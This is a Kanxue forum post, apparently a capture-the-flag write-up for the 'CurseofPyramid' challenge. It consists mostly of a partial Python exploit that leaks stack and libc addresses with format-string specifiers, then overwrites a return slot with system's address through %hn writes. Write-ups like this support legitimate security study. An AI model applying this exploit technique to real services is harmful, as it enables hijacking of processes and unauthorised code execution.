首页
社区
课程
招聘
1
[原创]CurseofPyramid WP
发表于: 2019-6-26 12:08 5104

[原创]CurseofPyramid WP

xym 活跃值
4
2019-6-26 12:08
5104

这道题的解法需要接收大量数据,前期一直网络不好没法实现,一直怀疑自己的解不正确,最后等晚上条件好了再突破成功。

say(1, '%3$x,%5$x,%8$x,%11$x,')

proc_base = int(p.recvuntil(',',drop=True),16) - 0x8F3

stack_addr = int(p.recvuntil(',',drop=True), 16)

print 'stack_addr ', hex(stack_addr)

stack_base = int(p.recvuntil(',',drop=True), 16) - 0x40

libc_base = int(p.recvuntil(',',drop=True), 16) - (0xf7e1b637 - 0xf7e03000)

print 'proc_base ',hex(proc_base)

print 'stack_base ', hex(stack_base)

print 'libc_base ', hex(libc_base)

libc.address = libc_base

target = (stack_base + 11 *4 + 0x10) & 0xffff

# 0xffffd43c -> system

print 'system ', hex(libc.symbols['system'])

payload = '%' + str(target) + 'c%5$hn'

print len(payload)

say(1, payload)

say(1, '%53$x')

target2 = (libc.symbols['system']) & 0xffff

payload = '%' + str(target2) + 'c%53$hn'

say(1, payload)

payload = '%' + str(target + 2) + 'c%5$hn'


[注意]看雪招聘,专注安全领域的专业人才平台!

收藏
免费 1
支持
分享
赞赏记录
参与人
雪币
留言
时间
PLEBFE
为你点赞~
2023-1-25 00:43
最新回复 (0)
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册